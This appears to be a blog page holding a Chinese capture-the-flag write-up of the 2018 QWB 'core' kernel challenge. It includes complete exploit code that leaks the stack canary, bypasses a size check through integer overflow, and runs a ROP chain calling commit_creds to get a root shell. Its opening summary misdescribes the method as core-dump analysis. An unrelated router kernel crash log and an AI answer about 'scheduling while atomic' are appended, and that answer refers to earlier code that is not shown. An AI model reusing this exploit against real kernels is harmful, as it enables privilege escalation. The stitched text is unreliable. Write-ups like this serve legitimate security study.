2018-qwctf-core_give

本文详细介绍了如何通过分析内核核心转储文件(core dump)来构建ROP链,以实现内核级别的权限提升。在禁用kaslr后,通过proc文件系统节点创建内核通信通道,利用整型溢出绕过size检查,泄露canary并构造ROP链,最终达到提权的目的。文章还提供了相关源代码片段和调试过程,展示了内核漏洞利用的技术细节。

题目:2018-qwctf-core_give

拿到压缩包后发现vmlinux文件,就不需要手动解包了,然后解包core.cpio包,得到core目录如下:

└── core
    ├── bin
    ├── etc
    ├── lib
    │   └── modules
    │       └── 4.15.8
    │           └── kernel
    │               ├── arch
    │               │   └── x86
    │               │       └── kvm
    │               ├── drivers
    │               │   ├── thermal
    │               │   └── vhost
    │               ├── fs
    │               │   └── efivarfs
    │               └── net
    │                   ├── ipv4
    │                   │   └── netfilter
    │                   ├── ipv6
    │                   │   └── netfilter
    │                   └── netfilter
    ├── lib64
    ├── proc
    ├── root
    ├── sbin
    ├── sys
    ├── tmp
    └── usr
        ├── bin
        └── sbin

重点关注对象:start.sh

#这里需要修改一下允许内存大小,不然会运行不起来
#指定shell解释器,不然会报错找不到pushd命令
#这里因为开启了kaslr也就是随机地址,但是为了方便调试就先关闭一下,后面记得改回来
#这里不能使用-kvm ,我在调试的时候会发生调试动不了的情况,貌似是因为该文件系统已经指定了x86的kvm(这里我费了好久时间我还在想为什么调试不了。。。。)

#!/bin/zsh

gcc exp.c -g -w -static -o core/exp  

pushd core
find . | cpio -o --format=newc > ../core.cpio
popd

#-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \  原
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ 
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-monitor /dev/null \  #新增参数 ,为了方便终止进程使用ctrl+c即可终止,不然就需要手动kill -9 PID去杀死

core/init

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms  #这里是重点,将进程地址信息 转移到了 /tmp/kallstms 这样普通用户就可以读取kallsyms内容了
echo 1 > /proc/sys/kernel/kptr_restrict   #普通用户不能查看函数地址
echo 1 > /proc/sys/kernel/dmesg_restrict #普通用户不能通过lsmod查看ko地址
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko  #内涵加载的模块

#poweroff -d 120 -f &  #这里去掉关机
#setsid /bin/cttyhack setuidgid 1000 /bin/sh   
setsid /bin/cttyhack setuidgid 0 /bin/sh  #这里在调试的时候可以使用root查看ko基地值,但是前面去掉了kasrl所以这里也可以不需要改,看个人习惯
echo 'sh end!\n'
umount /proc
umount /sys

#poweroff -d 0  -f #去掉关机

那么小改上面的文件后就可以对内核进行调试了,但是只能单步调试和断点调试,因为附件提供的core.ko文件没有符号表,实测如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-unyTs4s5-1650252140082)(2018-qwctf-core_give.assets/image-20220418102247377.png)]

单步运行没问题:
在这里插入图片描述

next发生报错:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NqDdsLwn-1650252140086)(2018-qwctf-core_give.assets/image-20220418102514305.png)]

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8sStCjWk-1650252140086)(2018-qwctf-core_give.assets/image-20220418103451864.png)]

分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FRXC7sAz-1650252140087)(2018-qwctf-core_give.assets/image-20220418103601370.png)]

这里通过proc虚拟文件节点方式创建了一个内核通信通道,同样的手法还有通过dev设备文件节点实现内核通信

结构体定义如下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ud3yujyx-1650252140088)(2018-qwctf-core_give.assets/image-20220418103941291.png)]

core_ioctl:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QUfHVNia-1650252140089)(2018-qwctf-core_give.assets/image-20220418104029320.png)]

core_read:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hpYdcDQg-1650252140090)(2018-qwctf-core_give.assets/image-20220418104318790.png)]

core_copy_func:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2A3hJTGS-1650252140090)(2018-qwctf-core_give.assets/image-20220418104426430.png)]

core_write:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DRiHCHED-1650252140092)(2018-qwctf-core_give.assets/image-20220418104525817.png)]

总结如下:

core_read有一个输出信息可以进行泄漏canary

coew_write + core_copy_func可实现将数据写入到栈中(可使用整型溢出绕过size的检测)

思路

因为为了调试,前面关闭了kaslr,可以先暂时不用计算具体地址,将环境rop打通后再计算偏移地址即可

保存用户态+泄漏canary

int main(){
		save();
    int fd = open("/proc/core",2);
    int offset = get_offset();
//###################leak canary#############################################
    char buf[0x40];   //这里开辟0x40的空间 防止后面read时栈溢出
    setOff(fd,0x40);  //canary的偏移为0x40
    reads(fd,buf);  //将数据读入buf
    size_t canary = ((size_t*)buf)[0]; //将buf转为指针格式,取值第一个指针值
    printf("canary -> %p\n",canary);  //打印读入数据

通过整型溢出绕过size检查

//###################rop #############################################
    size_t rop[0x100] = {0}; //初始化栈空间数据
    int i = 8;
    rop[i++] = canary; //偏移为0x40
    rop[i++] = 0; //rbp  //实际调试时rbp位置
    rop[i++] = POP_RDI + offset;
    rop[i++] = 0x6f0;
    rop[i++] = MOV_CR4_RDI + offset; //这里也可以不用,我开始以为开了smep保护
    rop[i++] = &getRoot;
    rop[i++] = SWAPGS + offset;
    rop[i++] = 0;
    rop[i++] = &intoUserStatus;

    write(fd,rop,sizeof(rop));  //向bss->name 写入数据
    copy(fd,0xffffffffffff0100); //将bss->name 数据复制到 stack中
//这里注意下因为qmemcpy(&v2, &name, (unsigned __int16)size);使用的是int16所以实际只取到了0x0100,
}

在去掉kasrl后这里的POP_RFI、MOV_CR4_RDI都可以通过ROPgadget中得到,getRoot的函数地址也是同样在内核中可以通过cat /tmp/kallsyms | grep "commit_creds"

exp.h

#include<stdio.h>
#include<unistd.h>

#define POP_RDI 0xffffffff81000b2f
#define MOV_CR4_RDI 0xffffffff81075014 //: mov cr4, rdi ; push rdx ; popfq ; ret
//#define prepare_kernel_cred 0xffffffff8109cce0  //内核中cat tmp/kallsyms | grep prepare_kernel_cred
//#define commit_creds 0xffffffff8109c8e0 //同上
#define SWAPGS 0xffffffff81a012da //: swapgs ; popfq ; ret

long long commit_creds;
long long prepare_kernel_cred;
long long vmlinux_base;

//###########################util##########################
size_t user_cs,user_ss,user_sp,user_flags;
void save(){
    asm(
        "mov %cs , user_cs;"  //cs寄存器只能通过mov保存
        "mov %ss , user_ss;"
        "mov %rsp, user_sp;"
        "pushf;"
        "pop user_flags;"
        );
}
void getRoot(){
    char* ((*pkc)(int)) = prepare_kernel_cred;
    void ((*cc)(char*))  = commit_creds;
    (*cc)((*pkc)(NULL));
}
void getShell(){
    execl("/bin/sh","sh",NULL);
}
void intoUserStatus(){
    asm(
        "push %0;"
        "push %1;"
        "push %2;"
        "push %3;"
        "push %4;"
        "iretq;"
        :
        : "r"(user_ss) ,"r"(user_sp) ,"r"(user_flags) , "r"(user_cs) ,"r"(&getShell)
        );
}

此时在没有地址随机时就可以完成提权了(具体细节再修补一下)

上面就完成了rop的搭建现在就只需要计算具体地址的偏移就可以了

这里使用pwntools计算偏移就很方便

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UAtk9vMG-1650252140092)(2018-qwctf-core_give.assets/image-20220418111134901.png)]

有了相对偏移后再得到commit_creds的真实地址后即得到模块的基地址

获取真实地址:

int get_offset(){
    FILE* fd = fopen("/tmp/kallsyms","r");
    char buff[100];
    while(1){
        if(fgets(buff,100,fd))
        {
            if(strstr(buff,"commit_creds")){
                char des[20] = {0};
                strncpy(des,buff,16);
                sscanf(des,"%llx",&commit_creds);
            }
            if(strstr(buff,"prepare_kernel_cred")){
                char des[20] = {0};
                strncpy(des,buff,16);
                sscanf(des,"%llx",&prepare_kernel_cred);
            }
        }
        else
            break;
    }
    vmlinux_base = commit_creds - 0x9c8e0;
    printf("commit_creds -> %llx\n",commit_creds);
    printf("prepare_kernel_cred -> %llx\n",prepare_kernel_cred);
    printf("vmlinux_base-> %llx\n",vmlinux_base);
    fclose(fd);
    return vmlinux_base - 0xffffffff81000000;
}

有了偏移后即得指定具体的POP_RDI

完整exp:

exp.c

#include "exp.h"

//###########################func##########################
void reads(int fd, char * buf){
   ioctl(fd,0x6677889B,buf);
}
void setOff(int fd,size_t size){
    ioctl(fd,0x6677889C,size);
}
void copy(int fd,size_t size){
    ioctl(fd,0x6677889A,size);
}
int get_offset(){
    FILE* fd = fopen("/tmp/kallsyms","r");
    char buff[100];
    while(1){
        if(fgets(buff,100,fd))
        {
            if(strstr(buff,"commit_creds")){
                char des[20] = {0};
                strncpy(des,buff,16);
                sscanf(des,"%llx",&commit_creds);
            }
            if(strstr(buff,"prepare_kernel_cred")){
                char des[20] = {0};
                strncpy(des,buff,16);
                sscanf(des,"%llx",&prepare_kernel_cred);
            }
        }
        else
            break;
    }
    vmlinux_base = commit_creds - 0x9c8e0;
    printf("commit_creds -> %llx\n",commit_creds);
    printf("prepare_kernel_cred -> %llx\n",prepare_kernel_cred);
    printf("vmlinux_base-> %llx\n",vmlinux_base);
    fclose(fd);
    return vmlinux_base - 0xffffffff81000000;
}
//###########################main##########################
int main(){
    save();
    int fd = open("/proc/core",2);
    int offset = get_offset();
//###################leak canary#############################################
    char buf[0x40];   //这里开辟0x40的空间 防止后面read时栈溢出
    setOff(fd,0x40);  //canary的偏移为0x40
    reads(fd,buf);  //将数据读入buf
    size_t canary = ((size_t*)buf)[0]; //将buf转为指针格式,取值第一个指针值
    printf("canary -> %p\n",canary);  //打印读入数据
//###################rop #############################################
    size_t rop[0x100] = {0};
    int i = 8;
    rop[i++] = canary;
    rop[i++] = 0; //rbp  //实际调试时rbp位置
    rop[i++] = POP_RDI + offset;
    rop[i++] = 0x6f0;
    rop[i++] = MOV_CR4_RDI + offset;  //这里也可以不用,我开始以为开了smep保护
    rop[i++] = &getRoot;
    rop[i++] = SWAPGS + offset;
    rop[i++] = 0;
    rop[i++] = &intoUserStatus;

    write(fd,rop,sizeof(rop));  //向bss->name 写入数据
    copy(fd,0xffffffffffff0100); //将bss->name 数据复制到 stack中
}

getshell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MkBfsDcM-1650252140093)(2018-qwctf-core_give.assets/image-20220418111916326.png)]
参考资料:https://lantern.cool/note-pwn-kernel-rop/#%E5%88%86%E6%9E%90

[ 134.496526] <wids_wips_debug> (wids_wips_detect_flood) study_shot_count [ 134.589778] BUG: scheduling while atomic: wl1-scheduler/1605/0x00000202 [ 134.596421] Modules linked in: wl(P) init_addr(00000000 - 00000000), core_addr(e38ad000 - e3f21000) [ 134.605470] igs init_addr(00000000 - 00000000), core_addr(bf762000 - bf765000) [ 134.612774] emf init_addr(00000000 - 00000000), core_addr(bf756000 - bf759000) [ 134.620077] hnd init_addr(00000000 - 00000000), core_addr(bf6df000 - bf709000) [ 134.627381] cfg80211 init_addr(00000000 - 00000000), core_addr(bf690000 - bf6bd000) [ 134.635118] firmware_class init_addr(00000000 - 00000000), core_addr(bf687000 - bf688000) [ 134.643382] wlshared init_addr(00000000 - 00000000), core_addr(bf67e000 - bf67f000) [ 134.651120] urlfilter(PO) init_addr(00000000 - 00000000), core_addr(bf64e000 - bf651000) [ 134.659291] mesh(O) init_addr(00000000 - 00000000), core_addr(bf643000 - bf645000) [ 134.666942] lbd(O) init_addr(00000000 - 00000000), core_addr(bf63a000 - bf63b000) [ 134.674505] rate_limit(O) init_addr(00000000 - 00000000), core_addr(bf61a000 - bf61c000) [ 134.682677] portal(O) init_addr(00000000 - 00000000), core_addr(bf59e000 - bf5a7000) [ 134.690500] tp_domain(O) init_addr(00000000 - 00000000), core_addr(bf594000 - bf596000) [ 134.698585] tls_tuple_lib(O) init_addr(00000000 - 00000000), core_addr(bf58b000 - bf58c000) [ 134.707016] tp_mdns(O) init_addr(00000000 - 00000000), core_addr(bf576000 - bf57a000) [ 134.714927] dhcp_capture(O) init_addr(00000000 - 00000000), core_addr(bf568000 - bf56b000) [ 134.723272] tp_sniffer(O) init_addr(00000000 - 00000000), core_addr(bf55d000 - bf55f000) [ 134.731443] vlan_manage(O) init_addr(00000000 - 00000000), core_addr(bf554000 - bf555000) [ 134.739701] multiPort(O) init_addr(00000000 - 00000000), core_addr(bf545000 - bf547000) [ 134.747791] utility_core(O) init_addr(00000000 - 00000000), core_addr(bf53c000 - bf53d000) [ 134.756136] gpio(O) init_addr(00000000 - 00000000), core_addr(bf523000 - bf527000) [ 134.763786] bcm_pcie_hcd init_addr(00000000 - 00000000), core_addr(bf502000 - bf510000) [ 134.771872] bcmmcast init_addr(00000000 - 00000000), core_addr(bf4dc000 - bf4ec000) [ 134.779609] pcap init_addr(00000000 - 00000000), core_addr(bf4d2000 - bf4d4000) [ 134.786999] bcm_enet init_addr(00000000 - 00000000), core_addr(bf494000 - bf4b4000) [ 134.794736] archer(P) init_addr(00000000 - 00000000), core_addr(bf43b000 - bf460000) [ 134.802575] bcm_archer_gpl init_addr(00000000 - 00000000), core_addr(bf431000 - bf432000) [ 134.810839] cmdlist(P) init_addr(00000000 - 00000000), core_addr(bf411000 - bf421000) [ 134.818750] pktflow(P) init_addr(00000000 - 00000000), core_addr(bf3a8000 - bf3df000) [ 134.826660] bcm_ingqos init_addr(00000000 - 00000000), core_addr(bf36a000 - bf36e000) [ 134.834571] bcm_bp3drv(P) init_addr(00000000 - 00000000), core_addr(bf343000 - bf354000) [ 134.842742] bcmvlan(P) init_addr(00000000 - 00000000), core_addr(bf320000 - bf32f000) [ 134.850653] bcm_bpm(P) init_addr(00000000 - 00000000), core_addr(bf30c000 - bf312000) [ 134.858564] bcm_knvram init_addr(00000000 - 00000000), core_addr(bf301000 - bf303000) [ 134.866481] bcmlibs init_addr(00000000 - 00000000), core_addr(bf2f1000 - bf2f5000) [ 134.874145] br_netfilter init_addr(00000000 - 00000000), core_addr(bf2e5000 - bf2e8000) [ 134.882234] ip6t_REJECT init_addr(00000000 - 00000000), core_addr(bf2cc000 - bf2cd000) [ 134.890233] ip6table_raw init_addr(00000000 - 00000000), core_addr(bf2c3000 - bf2c4000) [ 134.898317] ip6table_mangle init_addr(00000000 - 00000000), core_addr(bf2ba000 - bf2bb000) [ 134.906662] ip6table_filter init_addr(00000000 - 00000000), core_addr(bf2b1000 - bf2b2000) [ 134.915009] ip6_tables init_addr(00000000 - 00000000), core_addr(bf2a5000 - bf2a8000) [ 134.922921] xt_blog init_addr(00000000 - 00000000), core_addr(bf292000 - bf293000) [ 134.930571] nf_nat_pptp init_addr(00000000 - 00000000), core_addr(bf260000 - bf261000) [ 134.938569] nf_conntrack_pptp init_addr(00000000 - 00000000), core_addr(bf257000 - bf258000) [ 134.947088] nf_nat_h323 init_addr(00000000 - 00000000), core_addr(bf24d000 - bf24f000) [ 134.955085] nf_nat_proto_gre init_addr(00000000 - 00000000), core_addr(bf231000 - bf232000) [ 134.963520] xt_physdev init_addr(00000000 - 00000000), core_addr(bf1fb000 - bf1fc000) [ 134.971431] xt_mark init_addr(00000000 - 00000000), core_addr(bf1f2000 - bf1f3000) [ 134.979082] xt_time init_addr(00000000 - 00000000), core_addr(bf1e9000 - bf1ea000) [ 134.986732] xt_iprange init_addr(00000000 - 00000000), core_addr(bf1e0000 - bf1e1000) [ 134.994642] xt_DSCP init_addr(00000000 - 00000000), core_addr(bf1d7000 - bf1d8000) [ 135.002292] xt_pkttype init_addr(00000000 - 00000000), core_addr(bf1ce000 - bf1cf000) [ 135.010202] xt_REDIRECT init_addr(00000000 - 00000000), core_addr(bf1c5000 - bf1c6000) [ 135.018200] xt_NETMAP init_addr(00000000 - 00000000), core_addr(bf1bc000 - bf1bd000) [ 135.026024] xt_nat init_addr(00000000 - 00000000), core_addr(bf1b3000 - bf1b4000) [ 135.033587] ipt_MASQUERADE init_addr(00000000 - 00000000), core_addr(bf1aa000 - bf1ab000) [ 135.041845] iptable_nat init_addr(00000000 - 00000000), core_addr(bf1a1000 - bf1a2000) [ 135.049842] nf_nat_ipv4 init_addr(00000000 - 00000000), core_addr(bf197000 - bf198000) [ 135.057845] nf_nat_tftp init_addr(00000000 - 00000000), core_addr(bf18e000 - bf18f000) [ 135.065851] nf_nat_sip init_addr(00000000 - 00000000), core_addr(bf184000 - bf186000) [ 135.073772] nf_nat_irc init_addr(00000000 - 00000000), core_addr(bf17b000 - bf17c000) [ 135.081683] nf_nat_ftp init_addr(00000000 - 00000000), core_addr(bf172000 - bf173000) [ 135.089594] nf_nat init_addr(00000000 - 00000000), core_addr(bf164000 - bf167000) [ 135.097158] xt_policy init_addr(00000000 - 00000000), core_addr(bf117000 - bf118000) [ 135.104982] xt_conntrack init_addr(00000000 - 00000000), core_addr(bf10e000 - bf10f000) [ 135.113068] xt_state init_addr(00000000 - 00000000), core_addr(bf105000 - bf106000) [ 135.120810] nf_conntrack_tftp init_addr(00000000 - 00000000), core_addr(bf0fc000 - bf0fd000) [ 135.129329] nf_conntrack_sip init_addr(00000000 - 00000000), core_addr(bf0ef000 - bf0f3000) [ 135.137760] nf_conntrack_proto_gre init_addr(00000000 - 00000000), core_addr(bf0e6000 - bf0e7000) [ 135.146714] nf_conntrack_netlink init_addr(00000000 - 00000000), core_addr(bf0cd000 - bf0d3000) [ 135.155493] nfnetlink init_addr(00000000 - 00000000), core_addr(bf0c4000 - bf0c5000) [ 135.163317] nf_conntrack_irc init_addr(00000000 - 00000000), core_addr(bf0bb000 - bf0bc000) [ 135.171749] nf_conntrack_h323 init_addr(00000000 - 00000000), core_addr(bf0a8000 - bf0ac000) [ 135.180267] nf_conntrack_ftp init_addr(00000000 - 00000000), core_addr(bf09f000 - bf0a0000) [ 135.188700] nf_conntrack init_addr(00000000 - 00000000), core_addr(bf07b000 - bf089000) [ 135.196786] nf_defrag_ipv6 init_addr(00000000 - 00000000), core_addr(bf066000 - bf067000) [ 135.205044] nf_defrag_ipv4 init_addr(00000000 - 00000000), core_addr(bf05d000 - bf05e000) [ 135.213303] ipt_REJECT init_addr(00000000 - 00000000), core_addr(bf054000 - bf055000) [ 135.221214] xt_TCPMSS init_addr(00000000 - 00000000), core_addr(bf04b000 - bf04c000) [ 135.229038] xt_comment init_addr(00000000 - 00000000), core_addr(bf042000 - bf043000) [ 135.236948] xt_multiport init_addr(00000000 - 00000000), core_addr(bf039000 - bf03a000) [ 135.245032] xt_mac init_addr(00000000 - 00000000), core_addr(bf030000 - bf031000) [ 135.252595] xt_mac_extend init_addr(00000000 - 00000000), core_addr(bf027000 - bf028000) [ 135.260766] xt_limit init_addr(00000000 - 00000000), core_addr(bf01e000 - bf01f000) [ 135.268503] iptable_mangle init_addr(00000000 - 00000000), core_addr(bf015000 - bf016000) [ 135.276761] iptable_filter init_addr(00000000 - 00000000), core_addr(bf00c000 - bf00d000) [ 135.285019] ip_tables init_addr(00000000 - 00000000), core_addr(bf000000 - bf003000) [ 135.292851] CPU: 2 PID: 1605 Comm: wl1-scheduler Tainted: P O 4.19.294 #1 [ 135.300931] Hardware name: Generic DT based system [ 135.305739] [<c02108d4>] (unwind_backtrace) from [<c020b3f4>] (show_stack+0x10/0x14) [ 135.313481] [<c020b3f4>] (show_stack) from [<c08c7e9c>] (dump_stack+0x8c/0xa0) [ 135.320701] [<c08c7e9c>] (dump_stack) from [<c02430b0>] (__schedule_bug+0x58/0x6c) [ 135.328265] [<c02430b0>] (__schedule_bug) from [<c08cb000>] (__schedule+0x444/0x5a0) [ 135.336000] [<c08cb000>] (__schedule) from [<c08cb1ac>] (schedule+0x50/0xb4) [ 135.344803] [<c08cb1ac>] (schedule) from [<e3bc85b0>] (scheduler_thread_fn+0x140/0x1b4 [wl]) [ 135.354485] [<e3bc85b0>] (scheduler_thread_fn [wl]) from [<c023d9f8>] (kthread+0x130/0x168) [ 135.362839] [<c023d9f8>] (kthread) from [<c02010e0>] (ret_from_fork+0x14/0x34) [ 135.370051] Exception stack(0xd199bfb0 to 0xd199bff8) [ 135.375094] bfa0: 00000000 00000000 00000000 00000000 [ 135.383261] bfc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 [ 135.391428] bfe0: 00000000 00000000 00000000 00000000 00000013 00000000 [ 135.540138] sched: RT throttling activated 这段报错是什么问题
11-10
<think>我们分析一下提供的内核日志错误信息: 主要错误信息是: [ 134.589778] BUG: scheduling while atomic: wl1-scheduler/1605/0x00000202 该错误表示在原子上下文中进行了调度操作。原子上下文是指不允许睡眠或调度的上下文(如中断处理、自旋锁保护的临界区等)。在这里,进程 "wl1-scheduler"(PID 1605)在原子上下文中尝试调度,这是不允许的。 从调用栈来看: [<e3bc85b0>] (scheduler_thread_fn [wl]) from [<c023d9f8>] (kthread+0x130/0x168) 说明这个线程是一个内核线程(由kthread创建),线程函数是scheduler_thread_fn(在wl模块中)。 在调用栈中,我们看到在wl模块的scheduler_thread_fn函数中调用了schedule()函数,而此时处于原子上下文。 可能的原因: 1. 在原子上下文中调用了可能睡眠的函数(如kmalloc(..., GFP_KERNEL)、mutex_lock等)。 2. 在中断上下文中调用了调度相关函数。 根据日志,线程名为“wl1-scheduler”,它可能是无线驱动(wl模块)中的一个工作线程。该线程在执行过程中可能持有一个自旋锁(spinlock)或者处于中断上下文中,然后调用了可能引起调度的函数(如等待某个事件,使用了信号量或mutex等可能导致睡眠的操作)。 另外,请注意在错误发生之前,我们看到了wids_wips_debug的日志: [ 134.496526] <wids_wips_debug> (wids_wips_detect_flood) study_shot_count 这表明在wids_wips_detect_flood函数中打印了调试信息,并且触发了学习模式(study_shot_count)。结合之前的问题(关于学习模式代码的修改),可能是在学习模式处理代码中引入了在原子上下文中的调度操作。 在之前的学习模式代码中,我们添加了一个全局状态变量skip_next_cycle,但没有提到加锁保护。如果多个线程同时访问这个变量,可能会使用锁,而如果在中断上下文中使用了可能导致睡眠的锁(例如mutex),就会导致“scheduling while atomic”的错误。 解决方案: 1. 检查wl模块中scheduler_thread_fn函数的代码,特别是调用栈中scheduler_thread_fn+0x140处,确认在哪些条件下调用了可能睡眠的函数。 2. 确认在wids_wips_detect_flood函数中(以及相关的学习模式处理代码)是否在原子上下文(如中断处理程序)中执行。如果是,那么在这个上下文中不能使用任何可能引起调度的操作(比如使用自旋锁代替互斥锁,避免内存分配时使用GFP_KERNEL标志等)。 3. 检查学习模式代码中访问skip_next_cycle时使用的锁。如果在中断上下文中访问,必须使用自旋锁(spinlock)而不是互斥锁(mutex),因为互斥锁在获取不到锁时会睡眠,而自旋锁可以在中断上下文中使用(不会睡眠)。 根据之前的代码修改,我们在学习模式处理中使用了静态全局变量skip_next_cycle,并且没有加锁。如果这个变量被中断上下文和进程上下文同时访问,那么应该使用自旋锁来保护(因为中断上下文不能睡眠,所以不能使用互斥锁)。 因此,建议: - 在全局变量skip_next_cycle周围添加自旋锁保护。 - 确保在中断上下文中访问该变量时,使用spin_lock/spin_unlock(注意要禁用中断的版本,因为可能在中断上下文中访问)。 修改示例: static DEFINE_SPINLOCK(study_lock); // 定义自旋锁 static int skip_next_cycle = 0; 在需要访问skip_next_cycle的地方: unsigned long flags; spin_lock_irqsave(&study_lock, flags); // 读写skip_next_cycle spin_unlock_irqrestore(&study_lock, flags); 另外,还要检查其他可能导致睡眠的操作,例如在原子上下文中使用printk(虽然printk在一些情况下可以安全使用,但过多打印可能导致控制台驱动睡眠,所以也要谨慎)。 总结:这个错误是由于在原子上下文中调用了可能引起调度的函数(这里是schedule)。需要检查wl模块中相关函数的代码,特别是在学习模式处理部分,确保在原子上下文(如中断)中不能进行调度操作。 </think>### 问题分析 该内核报错显示 **"scheduling while atomic"** 核心问题如下: 1. **原子上下文调度冲突** - 错误信息:`BUG: scheduling while atomic: wl1-scheduler/1605/0x00000202` - 发生在无线驱动模块 `wl` 的 `scheduler_thread_fn` 函数中 - **根本原因**:在持有自旋锁或中断上下文(原子操作区)调用了可能引发调度的函数(如 `kmalloc(GFP_KERNEL)`, `mutex_lock` 等) 2. **调用栈关键点** ```bash [<e3bc85b0>] (scheduler_thread_fn [wl]) # wl驱动的调度线程函数 [<c08cb1ac>] (schedule) # 触发调度器 ``` 表明 `wl` 模块在原子操作中尝试进行进程调度 3. **模块环境风险** 日志显示系统加载了多个网络相关模块(如 `wids_wips`, `archer`, `pktflow`),这些模块可能与 `wl` 驱动存在: - 共享资源竞争(如全局数据结构) - 嵌套锁未正确处理 --- ### 解决方案 **步骤1:定位违规代码** 在 `wl` 驱动的 `scheduler_thread_fn` 函数中排查: ```c // 典型违规场景 spin_lock(&my_lock); // 进入原子上下文 kzalloc(... GFP_KERNEL); // 错误:可能触发调度 ← 需修复 mutex_lock(&shared_mutex); // 错误:可能导致睡眠 spin_unlock(&my_lock); ``` **步骤2:修复方案** - **方案A:替换内存分配标志** ```c // 原代码(违规) buf = kmalloc(size, GFP_KERNEL); // 修复:使用原子分配标志 buf = kmalloc(size, GFP_ATOMIC); // 禁止触发调度 ``` - **方案B:重构锁机制** ```c // 将可能睡眠的操作移出原子区域 spin_lock(&lock); // 仅执行非阻塞操作 spin_unlock(&lock); // 在非原子区执行可能睡眠的操作 mutex_lock(&mutex); kzalloc(... GFP_KERNEL); mutex_unlock(&mutex); ``` **步骤3:验证与测试** 1. 内核配置开启 `DEBUG_ATOMIC_SLEEP` 2. 使用 `ftrace` 跟踪函数调用路径 3. 压力测试命令: ```bash iw dev wlan0 scan trigger freq 2412 && ping -f 192.168.1.1 ``` --- ### 根本原因总结 | 层级 | 具体问题 | |-------------|--------------------------------------------------------------------------| | **代码层** | 原子上下文中使用可能阻塞/调度的函数 | | **驱动层** | `wl` 驱动的调度线程未正确处理并发场景 | | **系统层** | 多模块(wids_wips/archer/pktflow)共享资源时锁管理不足 | | **硬件层** | 无线芯片中断风暴导致原子操作区超时(结合日志时间戳) |
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值